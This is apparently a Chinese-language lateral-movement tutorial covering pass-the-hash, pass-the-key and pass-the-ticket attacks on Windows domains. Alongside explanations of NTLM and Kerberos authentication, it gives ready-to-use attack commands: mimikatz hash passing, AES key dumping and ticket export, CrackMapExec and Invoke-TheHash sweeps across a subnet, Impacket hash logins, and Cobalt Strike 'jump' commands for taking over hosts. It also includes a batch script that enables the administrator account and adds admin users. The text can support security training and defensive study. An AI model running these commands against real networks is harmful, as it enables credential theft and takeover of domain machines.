横向移动(中)
横向移动(中)
PTH哈希传递攻击
PTH(Pass The Hash)即哈希传递攻击,在NTLM和kerberos认证中,都需要用到用户的NTLM-Hash值进行加密认证,所以我们知道了对方用户的NTLM-Hash值之后就可以使用PTH
在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时为了方便记忆,大概率会使用相同的本地管理员账号密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用PTH的方法登录内网中的其他计算机
原理:
在NTLM认证中,Response是由NTProofStr和blob两部分拼接起来的
1.NTProofStr:NTLM-v2-Hash值和Challenge+blob进行HMAC-MD5加密
NTLM-v2-Hash:大写的用户名+域名编码成unicode格式,然后和密码的NTLM-Hash值进行HMAC-MD5加密
2.blob是由时间, 目标信息,随机填充字符等生成
kerberos认证中
AS-REQ(AS-requests):主要包含了用户的一些信息,是由客户端发送给AS的数据包,里面有几个重要信息
1.PA-DATA pA-ENC-TIMESTAMP 使用用户的hash,或者AES key加密时间戳,生成value
2.kdc-options 协商字段
3.cname 请求的用户名
4.realm 域名
5.请求的服务名
PTH的条件
1.有管理员的NTLM Hash 并且目标机器开放445端口
2.内网中使用相同的账号密码
3.开放了445端口
不同用户线下的PTH区别
创建一个bat
每个机器上执行如下命令
@echo off
net user administrator /active:yes
net user administrator Admin@123
net user shuibux 1234kl;'\ /add
net localgroup administrators ceshi /add
net user test 1qaz@123 /add
然后使用mimikatz进行PTH进行测试
命令:
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:用户名 /domain:域名或者IP /ntlm:ntlm-hash"
执行完成之后会弹出一个cmd
要本地管理员administrator,普通管理员不行,因为UAC(早期电脑如2003可以)
域内,普通管理员超级管理员都可以进行PTH攻击,也可以直接控制域控system权限
Hash碰撞查询可利用的PTH
在内网环境中系统在安装的时候往往采用统一的账号密码,当我们获取的一台电脑的Hash值(administrator)之后,可以采用hash碰撞的方式进行碰撞(本质就是批量进行hash传递)找出相同的账号密码的机器
接下来给大家介绍工具可以在不同的环境下进行PTH
1、Powershell脚本 Invoke-TheHash
通过把NTLM hash传递给NTLMv2身份验证协议来进行身份验证的攻击套件,且执行时客户端不需要本地管理员权限
条件:Powershell2.0及以上
用法:
Import-Moudle.Invoke-TheHash.ps1(导入批量模块)
IMport-Moudle.Invoke-WMIExec.ps1(导入wmi模块)
Invoke-TheHash -Type WMIExec - Target 192.168.41.0/24 -Username administrator -Hash hash值
shell powershell -exec bypass -command "& { import-module .\Invoke-TheHash.psd1;Invoke-TheHash -Type WMIExec -Target 192.168.41.0/24 - Username administrator -Hash hash值}"
2.EXE工具
使用CrackMapExec工具,进行批量的hash传递攻击,测试内网中具有相同账号密码的机器
下载地址:https://github.com/Porchetta-Industries/CrackMapExec/releases/tag/v5.4.0
同时该工具支持win linux mac等系统
运行批量PTH的命令
crackmapexec.exe 192.168.41.0/24 -u administrator -H hash值
CS下的PTH工具横向上线
通过之前我们知道了PTH本质上是认证,之前IPC$是通过账号密码进行认证的,PTH则是通过账号的hash值进行认证的,但是光认证还是不够的,认证通过之后还需要配合上传,计划任务,服务等其他的操作进行上线
使用mimikatz工具进行pth
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:用户名 /domain:域名或者IP /ntlm:ntlm-hash"
执行完成之后会弹出一个cmd,接下来就可以执行copy,计划任务,服务等让他上线
利用其他工具进行PTH横向上线
如果在CS中,当进行PTH认证之后,可以使用jump命令直接上线
格式 jump 方法 地址 监听器名字
Impacket工具包
使用python编写,支持win
地址:https://www.secureauth.com/labs/open-source-tools/impacket/
用法:
用户名:密码@IP地址
用户已@IP地址 -hashes LM-HASH:NTLM-HASH
域名/域账号:密码@IP地址(或者全域名)
域名/域账号@IP地址(或者全域名) -hashes LM-HASH:NTLM-HASH
PTK密钥传递攻击
PTK(Pass The key),中文叫密钥传递攻击,PTH传递中,使用的是NTLM-HASH值,PTH使用AES256或者AES128的方式进行传递,PTK攻击只能用于kerberos认证中,NTLM认证中没有
PTK的原理-kerberos认证中
AS-REQ(AS-requests):主要包含了用户的一些信息,是由客户端发送给AS的数据包,里面有几个重要信息
1.PA-DATA pA-ENC-TIMESTAMP 使用用户的hash,或者AES key加密时间戳,生成value
2.kdc-options 协商字段
3.cname 请求的用户名
4.realm 域名
5.请求的服务名
那AES KEY是什么
AES KEY是kerberos协议中使用的,所以一般域用户才会有AES KEY,AES分为两种 aes256和aes128,本地用户没有aes key
在mimikatz中可以使用命令进行查看
"privilege::debug" "sekurlsa::ekeys"
利用条件
根据上面原理的描述,那么进行PTK传递认证的条件有什么
1.必须是域环境,使用域账号才可以进行PTK
2.要支持aes进行认证
这边给大家介绍一个补丁:KB2871997补丁
该补丁主要包括了Windows 8.1和Windows Server 2012 R2中增强的安全保护机制,而以往的Windows 7,Windows 8等也可以更新该补丁获得该保护机制
增加的保护机制中有以下部分几点:
1、减少存储在内存中的凭据数据
2、支持现代身份验证(kerberos Aes)
具体可以参考这篇文章
https://blog.csdn.net/Ping_Pig/article/details/109171690
PTT票据传递攻击
PTT(Pass The Ticket),即票据传递攻击,PTT攻击只能用于kerberos认证中,NTLM认证中没有,PTT是通过票据进行认证的,我们回顾一下Kerberos认证的流程
进行票据传递时,不需要提权,域用户或者system用户就可以
在认证过程中主要涉及2个票据
1、TGT
2、ST
那有什么方法可以获得TGT和ST呢
1、可以通过域账号明文密码
2、可以通过域账号的NTLM-HASH
3、可以通过域账号的ASE
4、可以直接伪造
5、可以通过一些系统漏洞
那么进行PTT传递认证的条件是什么呢:
1、必须是域环境,域内才可以PTT
2、必须拥有相应的票据(主要是域管理员的票据)
步骤:
1、利用getTGT申请不同用户的票据
2、利用mimikatz进行票据传递
如果想清除内存的票据可以使用命令
klist purge(cmd)
kerberos::purge (mimikatz命令)
getTGT.exe abc.com/administrator:密码mimikatz:kerberos::ptc 票据klist(列出票据)dir \\dc.abc.com\c$(查看是否可以访问)
Ccache和kirbi票据转化
不同的工具生成的票据后缀可能不一样,常见的有两种为Ccache和kirbi,类似于压缩包的rar和zip
比如:Gettgt生成的就是Ccache,而kekeo生成的就是Kirbi
Gettgt命令 域名/域用户:密码
kekeo命令:tgt::ask /user:域用户 /domain:域名 /password:密码
例如
tgt::ask /user:administrator /domain:abc.com /password:123456
但不管我们生成的哪种票据,都可以使用mimikatz进行传递
kerberos::ptt (kirbi)
kerberos::ptc (Ccache)
当然两种票据也可以相互转化,使用ticketConverter.exe
命令
ticketConverter.exe xxx.Ccache yyy.kirbi
如果内存中本身就存在票据可以直接导出
Kerberos::list 查看内存票据
Sekurlsa::tickets /export 导出票据(需要提权)
如果系统本身就存在高权限的票据,那么就可以直接访问域内主机
同样也可以通过创建计划任务的方式上线CS
总结
PTH:用NTLM-HASH值进行认证-支持kerberos和NTLM认证
PTK:用AES值进行认证-只能用于kerberos认证
PTT:用票据进行认证-只能用于kerberos认证